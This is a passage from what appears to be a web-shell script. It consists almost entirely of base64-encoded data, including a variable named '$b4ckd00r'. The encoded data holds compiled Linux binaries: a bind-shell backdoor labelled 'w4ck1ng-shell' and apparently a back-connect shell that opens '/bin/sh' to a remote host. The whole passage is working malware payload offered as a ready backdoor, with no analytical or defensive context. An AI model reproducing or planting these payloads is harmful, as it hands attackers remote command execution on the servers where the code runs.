kFJUEFCS05nbWdRSS85S2hZSm9FQ0lzUWhkSjE2OFlGWkpvRUNBSEp3NG4yVllubGcrd0lvVHlaQkFpRndIUVp1QUFBQUFDRndIUVFnK3dNYUR5WkJBai8wSVBFRUkxMkFNbkRrSkJWaWVWWFZsT0Q3RXlENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRWpYMm92dlNJQkFqOHVRY0FBQUR6cEkxOXIveTVEZ0FBQUxBQTg2cUQ3QWhxQUdvQjZGRCsvLytEeEJCbXgwWElBZ0NEN0F5TFJReUR3QWovTU9pMy92Ly9nOFFRRDdmQWcrd01VT2k0L3YvL2c4UVFab2xGeW9Qc0RJdEZESVBBQlA4dzZESCsvLytEeEJDSlJjeUQ3QWlMUlF5RHdBU0Q3QVQvTU9nSS92Ly9nOFFJaWNPTFJReUR3QWlEN0FUL01PanovZi8vZzhRSWpRUURRRkNMUlF5RHdBVC9NT2d1L3YvL2c4UVFnK3dFYWdacUFXb0M2RzMrLy8rRHhCQ0pSZVNEN0FScUVJMUZ5RkQvZGVUb1J2Ny8vNFBFRUlYQWVScUQ3QXhvQ1lrRUNPaHkvZi8vZzhRUWcrd01hZ0RvOWYzLy80UHNDSXRGRFA4d2pVV29VT2pFL2YvL2c4UVFnK3dNalVXb1VPaFYvZi8vZzhRUWcrd0lhZ0QvZGVUb2xmMy8vNFBFRUlQc0NHb0IvM1hrNklYOS8vK0R4QkNEN0FocUF2OTE1T2gxL2YvL2c4UVFnK3dFYWdCb0Y0a0VDR2dkaVFRSTZONzgvLytEeEJDRDdBei9kZVRvNFB6Ly80UEVFSTFsOUZ0ZVg4bkRrRldKNVZkV1U0UHNET2dBQUFBQVc0SEQ2aEVBQU9pQy9QLy9qWU1nLy8vL2paTWcvLy8vaVVYd0tkQXg5c0g0QWpuR2N4YUoxNG4yL3hTeWkwM3dLZmxHd2ZrQ09jNkorbkx1ZzhRTVcxNWZ5Y09KOWxXSjVWZFdVK2dBQUFBQVc0SERtUkVBQUkyRElQLy8vNDI3SVAvLy95bjR3ZmdDZyt3TWpYRC82d1dRL3hTM1RvUCsvM1gzNkM0QUFBQ0R4QXhiWGwvSnc1Q1FWWW5sVTFLN0xKa0VDS0VzbVFRSTZ3cU5kZ0NENndULzBJc0RnL2ovZGZSWVc4bkRWWW5sVStnQUFBQUFXNEhETXhFQUFGRG9PdjMvLzFsYnljTUFBQU1BQUFBQkFBSUFjbTBnTFdZZ0FBQUFBQUFBQUFBQUFBQUFBQUFBV3kxZElHTnZibTVsWTNRb0tRQnphQ0F0YVFBdlltbHVMM05vQUFBQUFBQUFBQUQvLy8vL0FBQUFBUC8vLy84QUFBQUFBQUFBQUFFQUFBQWtBQUFBREFBQUFMQ0VCQWdOQUFBQTBJZ0VDQVFBQUFCSWdRUUlCUUFBQUNTREJBZ0dBQUFBNUlFRUNBb0FBQUM4QUFBQUN3QUFBQkFBQUFBVkFBQUFBQUFBQUFNQUFBQU1tZ1FJQWdBQUFJQUFBQUFVQUFBQUVRQUFBQmNBQUFBd2hBUUlFUUFBQUNpRUJBZ1NBQUFBQ0FBQUFCTUFBQUFJQUFBQS92Ly9id2lFQkFqLy8vOXZBUUFBQVBELy8yL2dnd1FJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUNaQkFnQUFBQUFBQUFBQU42RUJBanVoQVFJL29RRUNBNkZCQWdlaFFRSUxvVUVDRDZGQkFoT2hRUUlYb1VFQ0c2RkJBaCtoUVFJam9VRUNKNkZCQWl1aFFRSXZvVUVDTTZGQkFnQUFBQUFBQUFBQURpWkJBZ0FSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFMbk41YlhSaFlnQXVjM1J5ZEdGaUFDNXphSE4wY25SaFlnQXVhVzUwWlhKd0FDNXViM1JsTGtGQ1NTMTBZV2NBTG1oaGMyZ0FMbVI1Ym5ONWJRQXVaSGx1YzNSeUFDNW5iblV1ZG1WeWMybHZiZ0F1WjI1MUxuWmxjbk5wYjI1ZmNnQXVjbVZzTG1SNWJnQXVjbVZzTG5Cc2RBQXVhVzVwZEFBdWRHVjRkQUF1Wm1sdWFRQXVjbTlrWVhSaEFDNWxhRjltY21GdFpRQXVZM1J2Y25NQUxtUjBiM0p6QUM1cVkzSUFMbVI1Ym1GdGFXTUFMbWR2ZEFBdVoyOTBMbkJzZEFBdVpHRjBZUUF1WW5OekFDNWpiMjF0Wlc1MEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFBQUFBUUFBQUFJQUFBQVVnUVFJRkFFQUFCTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJd0FBQUFjQUFBQUNBQUFBS0lFRUNDZ0JBQUFnQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQURFQUFBQUZBQUFBQWdBQUFFaUJCQWhJQVFBQW5BQUFBQVFBQUFBQUFBQUFCQUFBQUFRQUFBQTNBQUFBQ3dBQUFBSUFBQURrZ1FRSTVBRUFBRUFCQUFBRkFBQUFBUUFBQUFRQUFBQVFBQUFBUHdBQUFBTUFBQUFDQUFBQUpJTUVDQ1FEQUFDOEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFFY0FBQUQvLy85dkFnQUFBT0NEQkFqZ0F3QUFLQUFBQUFRQUFBQUFBQUFBQWdBQUFBSUFBQUJVQUFBQS92Ly9id0lBQUFBSWhBUUlDQVFBQUNBQUFBQUZBQUFBQVFBQUFBUUFBQUFBQUFBQVl3QUFBQWtBQUFBQ0FBQUFLSVFFQ0NnRUFBQUlBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBR3dBQUFBSkFBQUFBZ0FBQURDRUJBZ3dCQUFBZ0FBQUFBUUFBQUFMQUFBQUJBQUFBQWdBQUFCMUFBQUFBUUFBQUFZQUFBQ3doQVFJc0FRQUFCY0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQUFBQUFFQUFBQUdBQUFBeUlRRUNNZ0VBQUFRQVFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUhzQUFBQUJBQUFBQmdBQUFOaUZCQWpZQlFBQStBSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ0JBQUFBQVFBQUFBWUFBQURRaUFRSTBBZ0FBQm9BQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBaHdBQUFBRUFBQUFDQUFBQTdJZ0VDT3dJQUFBNUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJOEFBQUFCQUFBQUFnQUFBQ2lKQkFnb0NRQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNaQUFBQUFRQUFBQU1BQUFBc21RUUlMQWtBQUFnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW9BQUFBQUVBQUFBREFBQUFOSmtFQ0RRSkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS2NBQUFBQkFBQUFBd0FBQUR5WkJBZzhDUUFBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDc0FBQUFCZ0FBQUFNQUFBQkFtUVFJUUFrQUFNZ0FBQUFGQUFBQUFBQUFBQVFBQUFBSUFBQUF0UUFBQUFFQUFBQURBQUFBQ0pvRUNBZ0tBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUxvQUFBQUJBQUFBQXdBQUFBeWFCQWdNQ2dBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBRERBQUFBQVFBQUFBTUFBQUJZbWdRSVdBb0FBQXdBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBeVFBQUFBZ0FBQUFEQUFBQVpKb0VDR1FLQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNNEFBQUFCQUFBQUFBQUFBQUFBQUFCa0NnQUFEZ0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQUF3QUFBQUFBQUFBQUFBQUFjZ3NBQU5jQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUlBQUFBQUFBQUFBQUFBQUt3UUFBQkFCUUFBR3dBQUFDd0FBQUFFQUFBQUVBQUFBQWtBQUFBREFBQUFBQUFBQUFBQUFBRHNGUUFBTEFNQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRUNBQUFBQUFEQUFNQUFBQUFBT1NCQkFnQUFBQUFBd0FFQUFBQUFBQWtnd1FJQUFBQUFBTUFCUUFBQUFBQTRJTUVDQUFBQUFBREFBWUFBQUFBQUFpRUJBZ0FBQUFBQXdBSEFBQUFBQUFvaEFRSUFBQUFBQU1BQ0FBQUFBQUFNSVFFQ0FBQUFBQURBQWtBQUFBQUFMQ0VCQWdBQUFBQUF3QUtBQUFBQUFESWhBUUlBQUFBQUFNQUN3QUFBQUFBMklVRUNBQUFBQUFEQUF3QUFBQUFBTkNJQkFnQUFBQUFBd0FOQUFBQUFBRHNpQVFJQUFBQUFBTUFEZ0FBQUFBQUtJa0VDQUFBQUFBREFBOEFBQUFBQUN5WkJBZ0FBQUFBQXdBUUFBQUFBQUEwbVFRSUFBQUFBQU1BRVFBQUFBQUFQSmtFQ0FBQUFBQURBQklBQUFBQUFFQ1pCQWdBQUFBQUF3QVRBQUFBQUFBSW1nUUlBQUFBQUFNQUZBQUFBQUFBREpvRUNBQUFBQUFEQUJVQUFBQUFBRmlhQkFnQUFBQUFBd0FXQUFBQUFBQmttZ1FJQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBREFCZ0FBQUFBQUFBQUFBQUFBQUFBQXdBWkFBQUFBQUFBQUFBQUFBQUFBQU1BR2dBQUFBQUFBQUFBQUFBQUFBQURBQnNBQVFBQUFQeUZCQWdBQUFBQUFnQU1BQkVBQUFBQUFBQUFBQUFBQUFRQThmOGNBQUFBTEprRUNBQUFBQUFCQUJBQUtnQUFBRFNaQkFnQUFBQUFBUUFSQURnQUFBQThtUVFJQUFBQUFBRUFFZ0JGQUFBQVlKb0VDQUFBQUFBQkFCWUFTUUFBQUdTYUJBZ0JBQUFBQVFBWEFGVUFBQUFnaGdRSUFBQUFBQUlBREFCckFBQUFWSVlFQ0FBQUFBQUNBQXdBRVFBQUFBQUFBQUFBQUFBQUJBRHgvM2NBQUFBd21RUUlBQUFBQUFFQUVBQ0VBQUFBT0prRUNBQUFBQUFCQUJFQWtRQUFBQ2lKQkFnQUFBQUFBUUFQQUo4QUFBQThtUVFJQUFBQUFBRUFFZ0NyQUFBQXJJZ0VDQUFBQUFBQ0FBd0F3UUFBQUFBQUFBQUFBQUFBQkFEeC84Z0FBQUFBQUFBQUhBRUFBQklBQUFEWkFBQUFRSmtFQ0FBQUFBQVJBQk1BNGdBQUFBQUFBQUJ4QUFBQUVnQUFBUE1BQUFEc2lBUUlCQUFBQUJFQURnRDZBQUFBQUFBQUFBc0NBQUFTQUFBQURBRUFBQ3laQkFnQUFBQUFFQUx4L3gwQkFBQmNtZ1FJQUFBQUFCRUNGZ0FxQVFBQWFJZ0VDRUlBQUFBU0FBd0FPZ0VBQUFBQUFBQjlBQUFBRWdBQUFFd0JBQUN3aEFRSUFBQUFBQklBQ2dCU0FRQUFBQUFBQUt3QkFBQVNBQUFBWkFFQUFOaUZCQWdBQUFBQUVnQU1BR3NCQUFBQUFBQUFyd0FBQUJJQUFBQjlBUUFBTEprRUNBQUFBQUFRQXZIL2tBRUFBQlNJQkFoU0FBQUFFZ0FNQUtBQkFBQUFBQUFBSndBQUFCSUFBQUMxQVFBQVpKb0VDQUFBQUFBUUFQSC93UUVBQUlDR0JBaVRBUUFBRWdBTUFNWUJBQUFBQUFBQTNRQUFBQklBQUFEakFRQUFMSmtFQ0FBQUFBQVFBdkgvOUFFQUFBQUFBQUE2QUFBQUVnQUFBQVFDQUFBQUFBQUFxZ0VBQUJJQUFBQVdBZ0FBV0pvRUNBQUFBQUFnQUJZQUlRSUFBTkNJQkFnQUFBQUFFZ0FOQUNjQ0FBQXNtUVFJQUFBQUFCQUM4Zjg3QWdBQUFBQUFBRFlBQUFBU0FBQUFUQUlBQUFBQUFBRFpBQUFBRWdBQUFGd0NBQUFBQUFBQUtBQUFBQklBQUFCc0FnQUFaSm9FQ0FBQUFBQVFBUEgvY3dJQUFBeWFCQWdBQUFBQUVRQVZBSWtDQUFCb21nUUlBQUFBQUJBQThmK09BZ0FBQUFBQUFBNEFBQUFTQUFBQW53SUFBQUFBQUFCNEFBQUFFZ0FBQUxJQ0FBQXNtUVFJQUFBQUFCQUM4Zi9GQWdBQThJZ0VDQVFBQUFBUkFBNEExQUlBQUZpYUJBZ0FBQUFBRUFBV0FPRUNBQUFBQUFBQU9RQUFBQklBQUFEekFnQUFBQUFBQUFBQUFBQWdBQUFBQndNQUFDeVpCQWdBQUFBQUVBTHgveDBEQUFBQUFBQUFBQUFBQUNBQUFBQUFZMkZzYkY5bmJXOXVYM04wWVhKMEFHTnlkSE4wZFdabUxtTUFYMTlEVkU5U1gweEpVMVJmWHdCZlgwUlVUMUpmVEVsVFZGOWZBRjlmU2tOU1gweEpVMVJmWHdCd0xqQUFZMjl0Y0d4bGRHVmtMakVBWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHWnlZVzFsWDJSMWJXMTVBRjlmUTFSUFVsOUZUa1JmWHdCZlgwUlVUMUpmUlU1RVgxOEFYMTlHVWtGTlJWOUZUa1JmWHdCZlgwcERVbDlGVGtSZlh3QmZYMlJ2WDJkc2IySmhiRjlqZEc5eWMxOWhkWGdBWW1GamF5NWpBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFYMFJaVGtGTlNVTUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyUnpiMTlvWVc1a2JHVUFYMTlzYVdKalgyTnpkVjltYVc1cEFITjVjM1JsYlVCQVIweEpRa05mTWk0d0FGOXBibWwwQUdSaFpXMXZia0JBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJ6ZEhKc1pXNUFRRWRNU1VKRFh6SXVNQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5c2FXSmpYMk56ZFY5cGJtbDBBR2x1WlhSZllXUmtja0JBUjB4SlFrTmZNaTR3QUY5ZlluTnpYM04wWVhKMEFHMWhhVzRBWDE5c2FXSmpYM04wWVhKMFgyMWhhVzVBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZaVzVrQUdSMWNESkFRRWRNU1VKRFh6SXVNQUJ6ZEhKallYUkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUY5bWFXNXBBRjlmY0hKbGFXNXBkRjloY25KaGVWOWxibVFBWW5wbGNtOUFRRWRNU1VKRFh6SXVNQUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMlZ1WkFCb2RHOXVjMEJBUjB4SlFrTmZNaTR3QUdOdmJtNWxZM1JBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZjM1JoY25RQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTl3Y21WcGJtbDBYMkZ5Y21GNVgzTjBZWEowQUY5ZloyMXZibDl6ZEdGeWRGOWZBQT09"; +$b4ckd00r = "ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFvSVVFQ0RRQUFBRDRFZ0FBQUFBQUFEUUFJQUFIQUNnQUlnQWZBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlyQWtBQUt3SkFBQUZBQUFBQUJBQUFBRUFBQUNzQ1FBQXJKa0VDS3laQkFnMEFRQUFPQUVBQUFZQUFBQUFFQUFBQWdBQUFNQUpBQURBbVFRSXdKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQUFBQUFCRUFBQUFUQUFBQUFBQUFBQUFBQUFBUUFBQUFFUUFBQUFBQUFBQUFBQUFBQ1FBQUFBZ0FBQUFGQUFBQUF3QUFBQTBBQUFBQUFBQUFBQUFBQUE4QUFBQUtBQUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFCQUFBQUFBQUFBQWNBQUFBTEFBQUFBQUFBQUFRQUFBQU1BQUFBRGdBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUM0QUFBQUFBQUFBZFFFQUFCSUFBQUNnQUFBQUFBQUFBSEVBQUFBU0FBQUFOQUFBQUFBQUFBRE1BQUFBRWdBQUFHb0FBQUFBQUFBQVdnQUFBQklBQUFCTUFBQUFBQUFBQUhnQUFBQVNBQUFBWXdBQUFBQUFBQUE1QUFBQUVnQUFBRmdBQUFBQUFBQUFPUUFBQUJJQUFBQ09BQUFBQUFBQUFPWUFBQUFTQUFBQU93QUFBQUFBQUFBNkFBQUFFZ0FBQUZNQUFBQUFBQUFBT1FBQUFCSUFBQUIxQUFBQUFBQUFBTGtBQUFBU0FBQUFlZ0FBQUFBQUFBQXJBQUFBRWdBQUFFY0FBQUFBQUFBQWVBQUFBQklBQUFCdkFBQUFBQUFBQUE0QUFBQVNBQUFBZndBQUFFaUpCQWdFQUFBQUVRQU9BRUFBQUFBQUFBQUFPUUFBQUJJQUFBQUJBQUFBQUFBQUFBQUFBQUFnQUFBQUZRQUFBQUFBQUFBQUFBQUFJQUFBQUFCZlNuWmZVbVZuYVhOMFpYSkRiR0Z6YzJWekFGOWZaMjF2Ymw5emRHRnlkRjlmQUd4cFltTXVjMjh1TmdCbGVHVmpiQUJ3WlhKeWIzSUFaSFZ3TWdCemIyTnJaWFFBYzJWdVpBQmhZMk5sY0hRQVltbHVaQUJ6WlhSemIyTnJiM0IwQUd4cGMzUmxiZ0JtYjNKckFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJmWDJ4cFltTmZjM1JoY25SZmJXRnBiZ0JqYkc5elpRQkhURWxDUTE4eUxqQUFBQUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQVFBQ0FBQUFBQUFBQUFFQUFRQWtBQUFBRUFBQUFBQUFBQUFRYVdrTkFBQUNBS1lBQUFBQUFBQUFpSm9FQ0FZU0FBQ1ltZ1FJQndFQUFKeWFCQWdIQWdBQW9Kb0VDQWNEQUFDa21nUUlCd1FBQUtpYUJBZ0hCUUFBckpvRUNBY0dBQUN3bWdRSUJ3Y0FBTFNhQkFnSENBQUF1Sm9FQ0FjSkFBQzhtZ1FJQndvQUFNQ2FCQWdIQ3dBQXhKb0VDQWNNQUFESW1nUUlCdzBBQU15YUJBZ0hEZ0FBMEpvRUNBY1FBQUJWaWVXRDdBam9NUUVBQU9pREFRQUE2RnNFQUFESnd3RC9OWkNhQkFqL0paU2FCQWdBQUFBQS95V1ltZ1FJYUFBQUFBRHA0UC8vLy84bG5Kb0VDR2dJQUFBQTZkRC8vLy8vSmFDYUJBaG9FQUFBQU9uQS8vLy8veVdrbWdRSWFCZ0FBQURwc1AvLy8vOGxxSm9FQ0dnZ0FBQUE2YUQvLy8vL0pheWFCQWhvS0FBQUFPbVEvLy8vL3lXd21nUUlhREFBQUFEcGdQLy8vLzhsdEpvRUNHZzRBQUFBNlhELy8vLy9KYmlhQkFob1FBQUFBT2xnLy8vLy95VzhtZ1FJYUVnQUFBRHBVUC8vLy84bHdKb0VDR2hRQUFBQTZVRC8vLy8vSmNTYUJBaG9XQUFBQU9rdy8vLy8veVhJbWdRSWFHQUFBQURwSVAvLy8vOGx6Sm9FQ0dob0FBQUE2UkQvLy8vL0pkQ2FCQWhvY0FBQUFPa0EvLy8vTWUxZWllR0Q1UEJRVkZKb3JZZ0VDR2hjaUFRSVVWWm9RSVlFQ09oZi8vLy85SkNRVllubFUrZ2JBQUFBZ2NPL0ZBQUFnK3dFaTRQOC8vLy9oY0IwQXYvUWc4UUVXMTNEaXh3a3cxV0o1WVBzQ0lBOTRKb0VDQUIwRE9zY2c4QUVvOXlhQkFqLzBxSGNtZ1FJaXhDRjBuWHJ4Z1hnbWdRSUFjbkRWWW5sZyt3SW9ieVpCQWlGd0hRU3VBQUFBQUNGd0hRSnh3UWt2SmtFQ1AvUXljT1FrRldKNVZlRDdHU0Q1UEM0QUFBQUFJUEFENFBBRDhIb0JNSGdCQ25FeDBYa0FRQUFBTWRGK0V5SkJBakhSQ1FJQUFBQUFNZEVKQVFCQUFBQXh3UWtBZ0FBQU9nSi8vLy9pVVh3ZzMzd0FIa1l4d1FraklrRUNPZzAvdi8veHdRa0FRQUFBT2lvL3YvL1pzZEYxQUlBeDBYWUFBQUFBSXRGRElQQUJJc0FpUVFrNkp2Ky8vOFB0OENKQkNUb3NQNy8vMmFKUmRiSFJDUVFCQUFBQUkxRjVJbEVKQXpIUkNRSUFnQUFBTWRFSkFRQkFBQUFpMFh3aVFRazZCTCsvLytOUmRUSFJDUUlFQUFBQUlsRUpBU0xSZkNKQkNUb0tQNy8vNFhBZVJqSEJDU1RpUVFJNktqOS8vL0hCQ1FCQUFBQTZCeisvLy9IUkNRRUNBQUFBSXRGOElrRUpPaTUvZi8vaGNCNUdNY0VKSmlKQkFqb2VmMy8vOGNFSkFFQUFBRG83ZjMvLzhkRjZCQUFBQUNOUmVpTlZjU0pSQ1FJaVZRa0JJdEY4SWtFSk9odC9mLy9pVVgwZzMzMEFIa014d1FraklrRUNPZzQvZi8vNkVQOS8vK0Z3QStFcHdBQUFJdEYrTG4vLy8vL2lVVzR1QUFBQUFEOGkzMjQ4cTZKeVBmUWcrZ0J4MFFrREFBQUFBQ0pSQ1FJaTBYNGlVUWtCSXRGOUlrRUpPaVEvZi8veDBRa0JBQUFBQUNMUmZTSkJDVG9QZjMvLzhkRUpBUUJBQUFBaTBYMGlRUWs2Q3I5Ly8vSFJDUUVBZ0FBQUl0RjlJa0VKT2dYL2YvL3gwUWtDQUFBQUFESFJDUUVuNGtFQ01jRUpKK0pCQWpvZS96Ly80dEY4SWtFSk9pQS9QLy94d1FrQUFBQUFPZ0UvZi8vaTBYMGlRUWs2R244Ly8vcER2Ly8vMVdKNVZkV01mWlQ2SC85Ly8rQnd5TVNBQUNEN0F6b0Vmei8vNDJESVAvLy80MlRJUC8vLzRsRjhDblF3ZmdDT2NaekZvblgveFN5aTBYd2c4WUJLZmlKK3NINEFqbkdjdXlEeEF4YlhsOWR3MVdKNVlQc0dJbGQ5T2d0L2YvL2djUFJFUUFBaVhYNGlYMzhqYk1nLy8vL2pic2cvLy8vS2Y3Qi9nTHJBLzhVdDRQdUFZUCsvM1gxNkRvQUFBQ0xYZlNMZGZpTGZmeUo3RjNEa0ZXSjVWT0Q3QVNockprRUNJUDQvM1FTdTZ5WkJBai8wSXREL0lQckJJUDQvM1h6ZzhRRVcxM0RrSkNRVllubFUraTcvUC8vZ2NOZkVRQUFnK3dFNkxIOC8vK0R4QVJiWGNNQUFBQURBQUFBQVFBQ0FEbzZJSGMwWTJzeGJtY3RjMmhsYkd3Z0tGQnlhWFpoZEdVZ1FuVnBiR1FnZGpBdU15a2dZbWx1WkNCemFHVnNiQ0JpWVdOclpHOXZjaUE2T2lBS0NnQnpiMk5yWlhRQVltbHVaQUJzYVhOMFpXNEFMMkpwYmk5emFBQUFBQUFBQVAvLy8vOEFBQUFBLy8vLy93QUFBQUFBQUFBQUFRQUFBQ1FBQUFBTUFBQUFpSVFFQ0EwQUFBQWtpUVFJQkFBQUFFaUJCQWdGQUFBQUVJTUVDQVlBQUFEZ2dRUUlDZ0FBQUxBQUFBQUxBQUFBRUFBQUFCVUFBQUFBQUFBQUF3QUFBSXlhQkFnQ0FBQUFlQUFBQUJRQUFBQVJBQUFBRndBQUFCQ0VCQWdSQUFBQUNJUUVDQklBQUFBSUFBQUFFd0FBQUFnQUFBRCsvLzl2NklNRUNQLy8vMjhCQUFBQThQLy9iOENEQkFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBd0prRUNBQUFBQUFBQUFBQXRvUUVDTWFFQkFqV2hBUUk1b1FFQ1BhRUJBZ0doUVFJRm9VRUNDYUZCQWcyaFFRSVJvVUVDRmFGQkFobWhRUUlkb1VFQ0lhRkJBaVdoUVFJQUFBQUFBQUFBQUM0bVFRSUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUFBY0FBQUFBZ0FBQUFBQUJBQUFBQUFBb0lVRUNDSUFBQUFBQUFBQUFBQUFBRFFBQUFBQ0FBc0JBQUFFQUFBQUFBRG9oUVFJQkFBQUFDU0pCQWdTQUFBQWlJUUVDQXNBQUFERWhRUUlKQUFBQUFBQUFBQUFBQUFBTEFBQUFBSUFtd0VBQUFRQUFBQUFBT2lGQkFnRUFBQUFPNGtFQ0FZQUFBQ2RoQVFJQWdBQUFBQUFBQUFBQUFBQUlRQUFBQUlBZWdBQUFKRUFBQUI1QUFBQVgwbFBYM04wWkdsdVgzVnpaV1FBQUFBQUFIWUFBQUFDQUFBQUFBQUVBUUFBQUFDZ2hRUUl3b1VFQ0M0dUwzTjVjMlJsY0hNdmFUTTROaTlsYkdZdmMzUmhjblF1VXdBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdloyeHBZbU10TWk0ekxqWXZZM04xQUVkT1ZTQkJVeUF5TGpFMkxqa3hBQUdBalFBQUFBSUFGQUFBQUFRQld3QUFBTVNGQkFqRWhRUUlZZ0FBQUFFQUFBQUFFUUFBQUFLUUFBQUFCQWNDVkFBQUFBRUlBcDBBQUFBQ0J3S0xBQUFBQkFjQ1ZnQUFBQUVHQWdjQUFBQUNCUU5wYm5RQUJBVUNSZ0FBQUFnRkFvWUFBQUFJQndKTEFBQUFCQVVDa0FBQUFBUUhBbDBBQUFBQkJnU3dBQUFBQVJtTEFBQUFBUVVEU0lrRUNBVlBBQUFBQUl3QUFBQUNBRllBQUFBRUFZSUFBQUF2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRTOWpjblJwTGxNQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCSFRsVWdRVk1nTWk0eE5